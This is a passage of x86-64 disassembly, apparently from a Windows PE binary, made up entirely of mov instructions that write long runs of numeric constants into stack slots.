mov byte [rsp + 0x39c], 0xde
mov dword [rsp + 0x72e0], 0xb71a
mov byte [rsp + 0x39d], 0xfc
mov dword [rsp + 0x72e4], 0x8841
mov dword [rsp + 0x72e8], 0xc478
mov dword [rsp + 0x72ec], 0x8d54
mov dword [rsp + 0x72f0], 0x4b23320
mov dword [rsp + 0x72f4], 0x2d4d5203
mov byte [rsp + 0x39e], 0x27
mov dword [rsp + 0x72f8], 0x1379a1a0
mov dword [rsp + 0x72fc], 0x13da
mov eax, 0xaee
mov word [rsp + 0x1d60], ax
mov eax, 0xdf4
mov word [rsp + 0x1d64], ax
mov dword [rsp + 0x7300], 0x795
mov dword [rsp + 0x7304], 0x2b1
mov dword [rsp + 0x7308], 0x73354c15
mov dword [rsp + 0x730c], 0xb60a
mov dword [rsp + 0x7310], 0xf991
mov dword [rsp + 0x7314], 0x1297623a
mov dword [rsp + 0x7318], 0x1e87
mov eax, 0xfb9
mov word [rsp + 0x1d68], ax
mov eax, 0x5e0
mov word [rsp + 0x1d6c], ax
mov eax, 0x980
mov word [rsp + 0x1d70], ax
mov dword [rsp + 0x731c], 0x4dd1
mov dword [rsp + 0x7320], 0x59a7ed08
mov dword [rsp + 0x7324], 0x44ffe2eb
mov dword [rsp + 0x7328], 0xa6a0
mov dword [rsp + 0x732c], 0x86ee
mov byte [rsp + 0x39f], 0xad
mov dword [rsp + 0x7330], 0x1240a153
mov byte [rsp + 0x3a0], 0x7e
mov byte [rsp + 0x3a1], 0x13
mov dword [rsp + 0x7334], 0x6d4df11c
mov eax, 0x3ee
mov word [rsp + 0x1d74], ax
mov byte [rsp + 0x3a2], 0x47
mov byte [rsp + 0x3a3], 0x79
mov eax, 0x67e
mov word [rsp + 0x1d78], ax
mov dword [rsp + 0x7338], 0x6e4179eb
mov dword [rsp + 0x733c], 0x72e82acc
mov byte [rsp + 0x3a4], 0x94
mov dword [rsp + 0x7340], 0x1e76236f
mov dword [rsp + 0x7344], 0xe604b5
mov dword [rsp + 0x7348], 0x2b0a09ed
mov dword [rsp + 0x734c], 0x2a16a703
mov byte [rsp + 0x3a5], 0x37
mov byte [rsp + 0x3a6], 0xb5
mov byte [rsp + 0x3a7], 0x55
mov dword [rsp + 0x7350], 0x37285336
mov eax, 0x791
mov word [rsp + 0x1d7c], ax
mov dword [rsp + 0x7354], 0x37f31ede
mov dword [rsp + 0x7358], 0x84a
mov eax, 0x61d
mov word [rsp + 0x1d80], ax
mov dword [rsp + 0x735c], 0x2aa5
mov eax, 0xfb7
mov word [rsp + 0x1d84], ax
mov dword [rsp + 0x7360], 0x760a328
mov dword [rsp + 0x7364], 0x2ff021ca
mov byte [rsp + 0x3a8], 0xaf
mov eax, 0xd3f
mov word [rsp + 0x1d88], ax
mov eax, 0xbb7
mov word [rsp + 0x1d8c], ax
mov eax, 0x67d
mov word [rsp + 0x1d90], ax
mov eax, 0xb
mov word [rsp + 0x1d94], ax
mov eax, 0xa67
mov word [rsp + 0x1d98], ax
mov dword [rsp + 0x7368], 0x8ee6
mov dword [rsp + 0x736c], 0xae2c4db
mov dword [rsp + 0x7370], 0x5234
mov dword [rsp + 0x7374], 0x38048cc
mov byte [rsp + 0x3a9], 0x2f
mov byte [rsp + 0x3aa], 0x66
mov dword [rsp + 0x7378], 0x3850
mov dword [rsp + 0x737c], 0x69a3c191
mov dword [rsp + 0x7380], 0x5d868f7d
mov dword [rsp + 0x7384], 0x59da179f
mov dword [rsp + 0x7388], 0x23c9ea4a
mov dword [rsp + 0x738c], 0x70b01d9f
mov dword [rsp + 0x7390], 0x7ccd
mov dword [rsp + 0x7394], 0x4ecf215d
mov dword [rsp + 0x7398], 0x12e58fdb
mov dword [rsp + 0x739c], 0x77b624cf
mov dword [rsp + 0x73a0], 0xe76f
mov dword [rsp + 0x73a4], 0xb374
mov dword [rsp + 0x73a8], 0x6a4cef2a
mov dword [rsp + 0x73ac], 0x4c843fef
mov eax, 0xefc
mov word [rsp + 0x1d9c], ax
mov dword [rsp + 0x73b0], 0xbcf0
mov dword [rsp + 0x73b4], 0x6853ff3d
mov dword [rsp + 0x73b8], 0xc9a8
mov dword [rsp + 0x73bc], 0x61e596bd
mov byte [rsp + 0x3ab], 0xcb
mov eax, 0x284
mov word [rsp + 0x1da0], ax
mov byte [rsp + 0x3ac], 0xd7
mov dword [rsp + 0x73c0], 0x17419585
mov dword [rsp + 0x73c4], 0xc39
mov dword [rsp + 0x73c8], 0x87b1
mov byte [rsp + 0x3ad], 0x69
mov eax, 0x432
mov word [rsp + 0x1da4], ax
mov dword [rsp + 0x73cc], 0x8cbc
mov dword [rsp + 0x73d0], 0x3a1478c4
mov dword [rsp + 0x73d4], 0x3fd42233
mov eax, 0x66d
mov word [rsp + 0x1da8], ax
mov dword [rsp + 0x73d8], 0x6d288766
mov dword [rsp + 0x73dc], 0xd0c7
mov eax, 0x5b0
mov word [rsp + 0x1dac], ax
mov byte [rsp + 0x3ae], 0x26
mov eax, 0x5f
mov word [rsp + 0x1db0], ax
mov dword [rsp + 0x73e0], 0x14958ed5
mov dword [rsp + 0x73e4], 0x91c1
mov byte [rsp + 0x3af], 0x7a
mov dword [rsp + 0x73e8], 0x222dafe7
mov dword [rsp + 0x73ec], 0x46f1
mov byte [rsp + 0x3b0], 0xaa
mov dword [rsp + 0x73f0], 0x6d2c39a9
mov byte [rsp + 0x3b1], 0xee
mov dword [rsp + 0x73f4], 0x3ae2abaa
mov dword [rsp + 0x73f8], 0x272a
mov eax, 0xc13
mov word [rsp + 0x1db4], ax
mov dword [rsp + 0x73fc], 0x2e7540b9
mov dword [rsp + 0x7400], 0x16ce6a07
mov dword [rsp + 0x7404], 0x7b0e
mov dword [rsp + 0x7408], 0x2e1d68d5
mov dword [rsp + 0x740c], 0x16dd5a73
mov byte [rsp + 0x3b2], 0x99
mov dword [rsp + 0x7410], 0x3d637c83
mov dword [rsp + 0x7414], 0x474d
mov byte [rsp + 0x3b3], 0xa7
mov eax, 0x5ba
mov word [rsp + 0x1db8], ax
mov dword [rsp + 0x7418], 0x1b8
mov eax, 0x693
mov word [rsp + 0x1dbc], ax
mov dword [rsp + 0x741c], 0x6e0b79b5
mov dword [rsp + 0x7420], 0x1245cc8d
mov eax, 0x7d3
mov word [rsp + 0x1dc0], ax
mov byte [rsp + 0x3b4], 0x67
mov dword [rsp + 0x7424], 0x65ac
mov eax, 0x158
mov word [rsp + 0x1dc4], ax
mov byte [rsp + 0x3b5], 0x16
mov dword [rsp + 0x7428], 0xc767
mov byte [rsp + 0x3b6], 1
mov dword [rsp + 0x742c], 0x774913d7
mov byte [rsp + 0x3b7], 0x4d
mov byte [rsp + 0x3b8], 0x43
mov dword [rsp + 0x7430], 0xea83
mov dword [rsp + 0x7434], 0x5100a285
mov dword [rsp + 0x7438], 0x44c6d3b2
mov eax, 0x4c4
mov word [rsp + 0x1dc8], ax
mov byte [rsp + 0x3b9], 0x14
mov byte [rsp + 0x3ba], 0xdd
mov dword [rsp + 0x743c], 0x5f9e3b90
mov dword [rsp + 0x7440], 0xcd83
mov dword [rsp + 0x7444], 0x4293
mov byte [rsp + 0x3bb], 5
mov dword [rsp + 0x7448], 0x172fc77c
mov byte [rsp + 0x3bc], 0x45
mov dword [rsp + 0x744c], 0x402cf916
mov dword [rsp + 0x7450], 0x33a8
mov dword [rsp + 0x7454], 0x73ed54af
mov eax, 0x20d
mov word [rsp + 0x1dcc], ax
mov eax, 0x44c
mov word [rsp + 0x1dd0], ax
mov byte [rsp + 0x3bd], 0xc6
mov byte [rsp + 0x3be], 0x1f
mov eax, 0x7d6
mov word [rsp + 0x1dd4], ax
mov dword [rsp + 0x7458], 0x5de5253f
mov dword [rsp + 0x745c], 0x196b94d
mov eax, 0x4ad
mov word [rsp + 0x1dd8], ax
mov dword [rsp + 0x7460], 0x3b9a9958
mov dword [rsp + 0x7464], 0x5ee92383
mov byte [rsp + 0x3bf], 0x60
mov dword [rsp + 0x7468], 0xc0ca
mov byte [rsp + 0x3c0], 0x17
mov byte [rsp + 0x3c1], 0x18
mov dword [rsp + 0x746c], 0x6c6
mov byte [rsp + 0x3c2], 0x1b
mov eax, 0x3f9
mov word [rsp + 0x1ddc], ax
mov byte [rsp + 0x3c3], 0xb0
mov byte [rsp + 0x3c4], 0xc3
mov byte [rsp + 0x3c5], 0x6c
mov dword [rsp + 0x7470], 0xd6af
mov byte [rsp + 0x3c6], 0xb4
mov dword [rsp + 0x7474], 0x19022fc1
mov dword [rsp + 0x7478], 0x74e3
mov dword [rsp + 0x747c], 0x6d0c
mov dword [rsp + 0x7480], 0x55a3999c
mov byte [rsp + 0x3c7], 0x20
mov byte [rsp + 0x3c8], 0x55
mov eax, 0x209
mov word [rsp + 0x1de0], ax
mov dword [rsp + 0x7484], 0x20609fd2
mov dword [rsp + 0x7488], 0x4d340240
mov dword [rsp + 0x748c], 0x2deb
mov dword [rsp + 0x7490], 0x85f1
mov eax, 0x146
mov word [rsp + 0x1de4], ax
mov byte [rsp + 0x3c9], 0x85
mov dword [rsp + 0x7494], 0x5487edf6
mov byte [rsp + 0x3ca], 0x19
mov byte [rsp + 0x3cb], 0x83
mov byte [rsp + 0x3cc], 0x2b
mov dword [rsp + 0x7498], 0x274e
mov eax, 0xe86
mov word [rsp + 0x1de8], ax
mov eax, 0xe74
mov word [rsp + 0x1dec], ax
mov byte [rsp + 0x3cd], 0x63
mov dword [rsp + 0x749c], 0x3aa47b53
mov dword [rsp + 0x74a0], 0x4061e470
mov byte [rsp + 0x3ce], 0x11
mov byte [rsp + 0x3cf], 0x6d
mov byte [rsp + 0x3d0], 0x66
mov byte [rsp + 0x3d1], 0x43
mov byte [rsp + 0x3d2], 0x3d
mov byte [rsp + 0x3d3], 0x2a
mov dword [rsp + 0x74a4], 0x32cd248e
mov dword [rsp + 0x74a8], 0x4cc49a68
mov dword [rsp + 0x74ac], 0x334d8f6a
mov byte [rsp + 0x3d4], 0x17
mov dword [rsp + 0x74b0], 0x55bcab6b
mov dword [rsp + 0x74b4], 0x844ed1d
mov eax, 0x917
mov word [rsp + 0x1df0], ax
mov dword [rsp + 0x74b8], 0x3804b0d5
mov eax, 0x400
mov word [rsp + 0x1df4], ax
mov dword [rsp + 0x74bc], 0x119dad83
mov byte [rsp + 0x3d5], 0xe4
mov dword [rsp + 0x74c0], 0xc641
mov dword [rsp + 0x74c4], 0x8434
mov dword [rsp + 0x74c8], 0x3564eb42
mov dword [rsp + 0x74cc], 0xb178
mov eax, 0xd1
mov word [rsp + 0x1df8], ax
mov eax, 0x32b
mov word [rsp + 0x1dfc], ax
mov eax, 0x40d
mov word [rsp + 0x1e00], ax
mov byte [rsp + 0x3d6], 0x81
mov byte [rsp + 0x3d7], 3
mov dword [rsp + 0x74d0], 0x3ae44115
mov dword [rsp + 0x74d4], 0x3d029c60
mov byte [rsp + 0x3d8], 0x66
mov eax, 0xb48
mov word [rsp + 0x1e04], ax
mov dword [rsp + 0x74d8], 0xa23
mov byte [rsp + 0x3d9], 9
mov dword [rsp + 0x74dc], 0x6d4d
mov dword [rsp + 0x74e0], 0x74c8
mov dword [rsp + 0x74e4], 0x70ec
mov eax, 0x4b7
mov word [rsp + 0x1e08], ax
mov dword [rsp + 0x74e8], 0x3f8c
mov byte [rsp + 0x3da], 0x6d
mov dword [rsp + 0x74ec], 0x712e3c11
mov byte [rsp + 0x3db], 0x14
mov eax, 0x821
mov word [rsp + 0x1e0c], ax
mov dword [rsp + 0x74f0], 0x1101b8ab
mov eax, 0xd1c
mov word [rsp + 0x1e10], ax
mov eax, 0x7c3
mov word [rsp + 0x1e14], ax
mov dword [rsp + 0x74f4], 0xbb25c92
mov byte [rsp + 0x3dc], 0xc5
mov dword [rsp + 0x74f8], 0x58e7
mov byte [rsp + 0x3dd], 0xfb
mov dword [rsp + 0x74fc], 0x79f7
mov byte [rsp + 0x3de], 0x33
mov byte [rsp + 0x3df], 0x6a
mov byte [rsp + 0x3e0], 0x40
mov dword [rsp + 0x7500], 0x45adb2db
mov eax, 0xcf3
mov word [rsp + 0x1e18], ax
mov eax, 0x2a0
mov word [rsp + 0x1e1c], ax
mov byte [rsp + 0x3e1], 0x93
mov dword [rsp + 0x7504], 0xc3ff
mov byte [rsp + 0x3e2], 0x30
mov eax, 0x228
mov word [rsp + 0x1e20], ax
mov dword [rsp + 0x7508], 0x67cb
mov dword [rsp + 0x750c], 0x28b5
mov byte [rsp + 0x3e3], 0xd8
mov eax, 0x30a
mov word [rsp + 0x1e24], ax
mov dword [rsp + 0x7510], 0x1c4c
mov eax, 0x722
mov word [rsp + 0x1e28], ax
mov eax, 0x7ff
mov word [rsp + 0x1e2c], ax
mov byte [rsp + 0x3e4], 0x7e
mov dword [rsp + 0x7514], 0x4597f050
mov dword [rsp + 0x7518], 0x15b5
mov dword [rsp + 0x751c], 0x4608fdc2
mov dword [rsp + 0x7520], 0x394bbf4e
mov dword [rsp + 0x7524], 0x1e1b
mov eax, 0xb9a
mov word [rsp + 0x1e30], ax
mov eax, 0x317
mov word [rsp + 0x1e34], ax
mov eax, 0xc9f
mov word [rsp + 0x1e38], ax
mov byte [rsp + 0x3e5], 0x9b
mov dword [rsp + 0x7528], 0x372dbd23
mov dword [rsp + 0x752c], 0x14c4ebe
mov byte [rsp + 0x3e6], 0x20
mov eax, 0xc48
mov word [rsp + 0x1e3c], ax
mov byte [rsp + 0x3e7], 0x4c
mov dword [rsp + 0x7530], 0x5875a1cb
mov dword [rsp + 0x7534], 0x71f297e5
mov byte [rsp + 0x3e8], 0x70
mov eax, 0x633
mov word [rsp + 0x1e40], ax
mov eax, 0xbf2
mov word [rsp + 0x1e44], ax
mov dword [rsp + 0x7538], 0x530d2a5
mov dword [rsp + 0x753c], 0xde3c
mov dword [rsp + 0x7540], 0x37244a53
mov eax, 0x73c
mov word [rsp + 0x1e48], ax
mov byte [rsp + 0x3e9], 0xf
mov dword [rsp + 0x7544], 0x74381509
mov dword [rsp + 0x7548], 0x7cbfa634
mov eax, 0x9ce
mov word [rsp + 0x1e4c], ax
mov dword [rsp + 0x754c], 0xa037418
mov eax, 0x979
mov word [rsp + 0x1e50], ax
mov dword [rsp + 0x7550], 0x20251403
mov dword [rsp + 0x7554], 0x5b78feeb
mov byte [rsp + 0x3ea], 0xa3
mov dword [rsp + 0x7558], 0x8e0
mov dword [rsp + 0x755c], 0x29ead6e9
mov byte [rsp + 0x3eb], 0x75
mov dword [rsp + 0x7560], 0x43a1
mov dword [rsp + 0x7564], 0x27e5
mov byte [rsp + 0x3ec], 0x6c
mov dword [rsp + 0x7568], 0x3c5a
mov dword [rsp + 0x756c], 0xf80
mov dword [rsp + 0x7570], 0x17760265
mov dword [rsp + 0x7574], 0x7a8bda0c
mov byte [rsp + 0x3ed], 0x14
mov dword [rsp + 0x7578], 0x65be
mov byte [rsp + 0x3ee], 0x6e
mov eax, 0x602
mov word [rsp + 0x1e54], ax
mov dword [rsp + 0x757c], 0x1c6c
mov dword [rsp + 0x7580], 0x2c7e5260
mov dword [rsp + 0x7584], 0x5dbdf9a0
mov eax, pe_nt_image_headers64
mov word [rsp + 0x1e58], ax
mov dword [rsp + 0x7588], 0x50c98869
mov byte [rsp + 0x3ef], 0x94
mov dword [rsp + 0x758c], 0x1a84583f
mov dword [rsp + 0x7590], 0x1c7b118e
mov eax, 0x9c
mov word [rsp + 0x1e5c], ax
mov dword [rsp + 0x7594], 0x136
mov dword [rsp + 0x7598], 0x2d0606db
mov eax, 0x107
mov word [rsp + 0x1e60], ax
mov dword [rsp + 0x759c], 0xc1a9
mov byte [rsp + 0x3f0], 1
mov dword [rsp + 0x75a0], 0xbb63
mov dword [rsp + 0x75a4], 0x54e84de2
mov byte [rsp + 0x3f1], 0xd3
mov dword [rsp + 0x75a8], 0x7c3b4ee2
mov dword [rsp + 0x75ac], 0xd01c
mov byte [rsp + 0x3f2], 0xc5
mov dword [rsp + 0x75b0], 0x2bb4e898
mov eax, 0x4b7
mov word [rsp + 0x1e64], ax
mov dword [rsp + 0x75b4], 0x28e16137
mov eax, 0x91
mov word [rsp + 0x1e68], ax
mov dword [rsp + 0x75b8], 0x78ce6663
mov dword [rsp + 0x75bc], 0x5c18e13f
mov dword [rsp + 0x75c0], 0x2cff2d69
mov dword [rsp + 0x75c4], 0x63de
mov eax, 0x533
mov word [rsp + 0x1e6c], ax
mov eax, 0xd93
mov word [rsp + 0x1e70], ax
mov dword [rsp + 0x75c8], 0x51305b76
mov dword [rsp + 0x75cc], 0xdc14
mov dword [rsp + 0x75d0], 0x2eb1
mov eax, 0xb65
mov word [rsp + 0x1e74], ax
mov dword [rsp + 0x75d4], 0x7bc74e84
mov dword [rsp + 0x75d8], 0x71a0d6db
mov byte [rsp + 0x3f3], 0xc1
mov dword [rsp + 0x75dc], 0xc222
mov dword [rsp + 0x75e0], 0x183b
mov dword [rsp + 0x75e4], 0x2bd2ba14
mov dword [rsp + 0x75e8], 0x556e6d85
mov dword [rsp + 0x75ec], 0x29f619d2
mov dword [rsp + 0x75f0], 0xb9
mov eax, 0x390
mov word [rsp + 0x1e78], ax
mov byte [rsp + 0x3f4], 0xc
mov eax, 0x50e
mov word [rsp + 0x1e7c], ax
mov dword [rsp + 0x75f4], 0xe3bc
mov dword [rsp + 0x75f8], 0x3c99889b
mov dword [rsp + 0x75fc], 0x576bd4c0
mov dword [rsp + 0x7600], 0x4524
mov eax, 0x4ac
mov word [rsp + 0x1e80], ax
mov byte [rsp + 0x3f5], 0x5d
mov dword [rsp + 0x7604], 0x137212e
mov eax, 0xd64
mov word [rsp + 0x1e84], ax
mov dword [rsp + 0x7608], 0x27dd2ac6
mov byte [rsp + 0x3f6], 0x10
mov dword [rsp + 0x760c], 0x68f56613
mov dword [rsp + 0x7610], 0x41e84d72
mov byte [rsp + 0x3f7], 0xc5
mov dword [rsp + 0x7614], 0x613fb1d5
mov dword [rsp + 0x7618], 0x3d1
mov eax, 0x333
mov word [rsp + 0x1e88], ax
mov byte [rsp + 0x3f8], 0x60
mov dword [rsp + 0x761c], 0x7a8a8410
mov dword [rsp + 0x7620], 0x71ed3094
mov eax, 0x9f0
mov word [rsp + 0x1e8c], ax
mov dword [rsp + 0x7624], 0xd67
mov dword [rsp + 0x7628], 0x3a7f9fb3
mov dword [rsp + 0x762c], 0xdde
mov byte [rsp + 0x3f9], 0xb5
mov eax, 0xbd0
mov word [rsp + 0x1e90], ax
mov byte [rsp + 0x3fa], 9
mov byte [rsp + 0x3fb], 0xda
mov eax, 0xa2a
mov word [rsp + 0x1e94], ax
mov dword [rsp + 0x7630], 0x3d20faa0
mov byte [rsp + 0x3fc], 0x6d
mov eax, 0x930
mov word [rsp + 0x1e98], ax
mov byte [rsp + 0x3fd], 0x1d
mov dword [rsp + 0x7634], 0xe3c0
mov eax, 0x799
mov word [rsp + 0x1e9c], ax
mov dword [rsp + 0x7638], 0x4a5b
mov eax, 0x318
mov word [rsp + 0x1ea0], ax
mov dword [rsp + 0x763c], 0x91e7
mov byte [rsp + 0x3fe], 0x60
mov byte [rsp + 0x3ff], 0x43
mov byte [rsp + 0x400], 0x62
mov byte [rsp + 0x401], 0x58
mov dword [rsp + 0x7640], 0x41377caf
mov byte [rsp + 0x402], 0xc0
mov dword [rsp + 0x7644], 0x7d4
mov byte [rsp + 0x403], 0xa7
mov dword [rsp + 0x7648], 0x6ddb710a
mov dword [rsp + 0x764c], 0x648a15a2
mov dword [rsp + 0x7650], 0x8979
mov dword [rsp + 0x7654], 0x4ced1361
mov dword [rsp + 0x7658], 0x3d13c0b7
mov byte [rsp + 0x404], 0x4c
mov byte [rsp + 0x405], 0x83
mov dword [rsp + 0x765c], 0xd255
mov dword [rsp + 0x7660], 0x9b5b
mov byte [rsp + 0x406], 0x91
mov eax, 0x3a3
mov word [rsp + 0x1ea4], ax
mov eax, 0xb5b
mov word [rsp + 0x1ea8], ax
mov eax, 0x4bd
mov word [rsp + 0x1eac], ax
mov eax, 0xe5b
mov word [rsp + 0x1eb0], ax
mov eax, 0x7e8
mov word [rsp + 0x1eb4], ax
mov dword [rsp + 0x7664], 0x80ee
mov dword [rsp + 0x7668], 0xc4eb67e
mov dword [rsp + 0x766c], 0x4cbb
mov dword [rsp + 0x7670], 0xdbae
mov dword [rsp + 0x7674], 0x64eb77b0
mov dword [rsp + 0x7678], 0xbf51
mov dword [rsp + 0x767c], 0x50144313
mov eax, 0x7bd
mov word [rsp + 0x1eb8], ax
mov byte [rsp + 0x407], 0x50
mov dword [rsp + 0x7680], 0x3dc96d8a
mov dword [rsp + 0x7684], 0x5da22d7b
mov dword [rsp + 0x7688], 0xf38f
mov dword [rsp + 0x768c], 0x1add4eff
mov dword [rsp + 0x7690], 0x5595dbfc
mov eax, 0x20
mov word [rsp + 0x1ebc], ax
mov dword [rsp + 0x7694], 0x21d05b82
mov eax, 0x35b
mov word [rsp + 0x1ec0], ax
mov byte [rsp + 0x408], 0x40
mov dword [rsp + 0x7698], 0x1916dd81
mov dword [rsp + 0x769c], 0xbc29567
mov byte [rsp + 0x409], 0x5e
mov dword [rsp + 0x76a0], 0xb935a20
mov eax, 0xd31
mov word [rsp + 0x1ec4], ax
mov eax, 0xc77
mov word [rsp + 0x1ec8], ax
mov dword [rsp + 0x76a4], 0x63a31dba
mov byte [rsp + 0x40a], 0x39
mov eax, 0x5d3
mov word [rsp + 0x1ecc], ax
mov dword [rsp + 0x76a8], 0x4d8801f1
mov dword [rsp + 0x76ac], 0x458c2c67
mov dword [rsp + 0x76b0], 0x55bc64ca
mov dword [rsp + 0x76b4], 0x78aa20c2
mov dword [rsp + 0x76b8], 0xa56a
mov dword [rsp + 0x76bc], 0x91a2
mov dword [rsp + 0x76c0], 0xa5c0
mov byte [rsp + 0x40b], 0x32
mov byte [rsp + 0x40c], 0xbe
mov byte [rsp + 0x40d], 0xbd
mov dword [rsp + 0x76c4], 0x6cfed14d
mov dword [rsp + 0x76c8], 0xd474
mov byte [rsp + 0x40e], 5
mov dword [rsp + 0x76cc], 0xedd7
mov dword [rsp + 0x76d0], 0x4acca47e
mov dword [rsp + 0x76d4], 0x3c99bff
mov dword [rsp + 0x76d8], 0x3a965863
mov dword [rsp + 0x76dc], 0x5f0a
mov dword [rsp + 0x76e0], 0x6cec5558
mov eax, 0x336
mov word [rsp + 0x1ed0], ax
mov dword [rsp + 0x76e4], 0x6bf3ffe6
mov byte [rsp + 0x40f], 0x59
mov eax, 0xfdf
mov word [rsp + 0x1ed4], ax
mov dword [rsp + 0x76e8], 0x694f3307
mov eax, 0xb11
mov word [rsp + 0x1ed8], ax
mov byte [rsp + 0x410], 0xa3
mov dword [rsp + 0x76ec], 0xde7f4b9
mov dword [rsp + 0x76f0], 0x66466ddf
mov dword [rsp + 0x76f4], 0x68a6bc5b
mov dword [rsp + 0x76f8], 0x50d166ba
mov dword [rsp + 0x76fc], 0xb560
mov dword [rsp + 0x7700], 0xac9
mov eax, 0xae3
mov word [rsp + 0x1edc], ax
mov dword [rsp + 0x7704], 0x1496a342
mov dword [rsp + 0x7708], 0xcb0e
mov eax, 0xc6c
mov word [rsp + 0x1ee0], ax
mov dword [rsp + 0x770c], 0x95bb
mov dword [rsp + 0x7710], 0xa415
mov byte [rsp + 0x411], 0x58
mov dword [rsp + 0x7714], 0xcea4
mov dword [rsp + 0x7718], 0x8723
mov byte [rsp + 0x412], 0x3a
mov dword [rsp + 0x771c], 0x1540
mov dword [rsp + 0x7720], 0x752f126f
mov dword [rsp + 0x7724], 0x32528134
mov dword [rsp + 0x7728], 0x30f77781
mov byte [rsp + 0x413], 0xa0
mov eax, 0x80c
mov word [rsp + 0x1ee4], ax
mov byte [rsp + 0x414], 0x52
mov dword [rsp + 0x772c], 0x25856048
mov eax, 0x5c1
mov word [rsp + 0x1ee8], ax
mov dword [rsp + 0x7730], 0x26882a79
mov dword [rsp + 0x7734], 0xf0bb
mov eax, 0x245
mov word [rsp + 0x1eec], ax
mov byte [rsp + 0x415], 0x68
mov dword [rsp + 0x7738], 0x523d6cab
mov eax, 0xe8
mov word [rsp + 0x1ef0], ax
mov byte [rsp + 0x416], 0xa4
mov dword [rsp + 0x773c], 0xa167
mov dword [rsp + 0x7740], 0x2041c7f8
mov byte [rsp + 0x417], 0xf1
mov dword [rsp + 0x7744], 0xa677542
mov dword [rsp + 0x7748], 0x4edd
mov dword [rsp + 0x774c], 0x7a2c708
mov dword [rsp + 0x7750], 0x758b257e
mov eax, 0x185
mov word [rsp + 0x1ef4], ax
mov eax, 0x607
mov word [rsp + 0x1ef8], ax
mov dword [rsp + 0x7754], 0x68764a35
mov byte [rsp + 0x418], 0x71
mov dword [rsp + 0x7758], 0x3ce2
mov dword [rsp + 0x775c], 0x71036e2a
mov dword [rsp + 0x7760], 0x29a1bdc1
mov dword [rsp + 0x7764], 0x7bd05dc8
mov dword [rsp + 0x7768], 0x6489765a
mov byte [rsp + 0x419], 0x22
mov dword [rsp + 0x776c], 0x26771bea
mov byte [rsp + 0x41a], 0xa0
mov byte [rsp + 0x41b], 0x79
mov eax, 0x39e
mov word [rsp + 0x1efc], ax
mov dword [rsp + 0x7770], 0x1518
mov dword [rsp + 0x7774], 0x457beba0
mov dword [rsp + 0x7778], 0x468d
mov dword [rsp + 0x777c], 0xa3b7
mov dword [rsp + 0x7780], 0x5e11e414
mov eax, 0x7cc
mov word [rsp + 0x1f00], ax
mov dword [rsp + 0x7784], 0x1490c024
mov eax, 0x6b0
mov word [rsp + 0x1f04], ax
mov dword [rsp + 0x7788], 0x79b3
mov eax, 0x437
mov word [rsp + 0x1f08], ax
mov dword [rsp + 0x778c], 0x3110723c
mov eax, 0x4d8
mov word [rsp + 0x1f0c], ax
mov dword [rsp + 0x7790], 0x7613dec5
mov byte [rsp + 0x41c], 0x61
mov dword [rsp + 0x7794], 0x11f0
mov byte [rsp + 0x41d], 0x40
mov dword [rsp + 0x7798], 0x43fa
mov dword [rsp + 0x779c], 0x374054f6
mov dword [rsp + 0x77a0], 0x6c381009
mov eax, 0x262
mov word [rsp + 0x1f10], ax
mov eax, 0x296
mov word [rsp + 0x1f14], ax
mov byte [rsp + 0x41e], 0xbf
mov eax, 0x2e1
mov word [rsp + 0x1f18], ax
mov dword [rsp + 0x77a4], 0x99c0
mov dword [rsp + 0x77a8], 0x4252
mov dword [rsp + 0x77ac], 0x44eb
mov byte [rsp + 0x41f], 0x84
mov dword [rsp + 0x77b0], 0x3bb19517
mov eax, 0x5e3
mov word [rsp + 0x1f1c], ax
mov dword [rsp + 0x77b4], 0x88b9
mov eax, 0x8cb
mov word [rsp + 0x1f20], ax
mov byte [rsp + 0x420], 0
mov eax, 0xa2d
mov word [rsp + 0x1f24], ax
mov dword [rsp + 0x77b8], 0x1c7e892a
mov eax, 0xe2a
mov word [rsp + 0x1f28], ax
mov dword [rsp + 0x77bc], 0x3e76fac6
mov eax, 0x360
mov word [rsp + 0x1f2c], ax
mov eax, 0xe2b
mov word [rsp + 0x1f30], ax
mov dword [rsp + 0x77c0], 0x3c7ea1a4
mov dword [rsp + 0x77c4], 0x43426cf2
mov eax, 0x524
mov word [rsp + 0x1f34], ax
mov dword [rsp + 0x77c8], 0x7b11ffbe
mov byte [rsp + 0x421], 0x19
mov dword [rsp + 0x77cc], 0x1b10f3a4
mov dword [rsp + 0x77d0], 0x6649c6c7
mov dword [rsp + 0x77d4], 0x791b0696
mov byte [rsp + 0x422], 0x69
mov dword [rsp + 0x77d8], 0x3f20c9fa
mov eax, 0x8df
mov word [rsp + 0x1f38], ax
mov byte [rsp + 0x423], 0xec
mov dword [rsp + 0x77dc], 0x29100425
mov eax, 0x74
mov word [rsp + 0x1f3c], ax
mov byte [rsp + 0x424], 0x27
mov dword [rsp + 0x77e0], 0x6edaaa78
mov byte [rsp + 0x425], 0x5e
mov dword [rsp + 0x77e4], 0x395c
mov dword [rsp + 0x77e8], 0x1871
mov dword [rsp + 0x77ec], 0x4d90
mov eax, 0xe48
mov word [rsp + 0x1f40], ax
mov byte [rsp + 0x426], 0x59
mov eax, 0x6c6
mov word [rsp + 0x1f44], ax
mov dword [rsp + 0x77f0], 0x16e4a9a
mov dword [rsp + 0x77f4], 0xfbba
mov byte [rsp + 0x427], 0x74
mov eax, 0x11b
mov word [rsp + 0x1f48], ax
mov eax, 0x75
mov word [rsp + 0x1f4c], ax
mov dword [rsp + 0x77f8], 0x4f9153e5
mov dword [rsp + 0x77fc], 0x2627997
mov byte [rsp + 0x428], 0xf1
mov byte [rsp + 0x429], 0xf7
mov byte [rsp + 0x42a], 0x9e
mov eax, 0xc65
mov word [rsp + 0x1f50], ax
mov eax, 0x381
mov word [rsp + 0x1f54], ax
mov dword [rsp + 0x7800], 0xa5d9
mov dword [rsp + 0x7804], 0x40cc3363
mov dword [rsp + 0x7808], 0x2a6b
mov eax, 0x92d
mov word [rsp + 0x1f58], ax
mov eax, 0x138
mov word [rsp + 0x1f5c], ax
mov dword [rsp + 0x780c], 0x63c074d2
mov eax, 0x43b
mov word [rsp + 0x1f60], ax
mov eax, 0x1d1
mov word [rsp + 0x1f64], ax
mov dword [rsp + 0x7810], 0xef1c
mov dword [rsp + 0x7814], 0x3ffcff74
mov dword [rsp + 0x7818], 0x2be0024c
mov dword [rsp + 0x781c], 0x76cfc46c
mov eax, 0x938
mov word [rsp + 0x1f68], ax
mov dword [rsp + 0x7820], 0x1ecf9772
mov dword [rsp + 0x7824], 0x172962e0
mov dword [rsp + 0x7828], 0xd5dd
mov eax, 0xeae
mov word [rsp + 0x1f6c], ax
mov byte [rsp + 0x42b], 0xa8
mov byte [rsp + 0x42c], 0xfe
mov byte [rsp + 0x42d], 0x42
mov dword [rsp + 0x782c], 0x7a7a4162
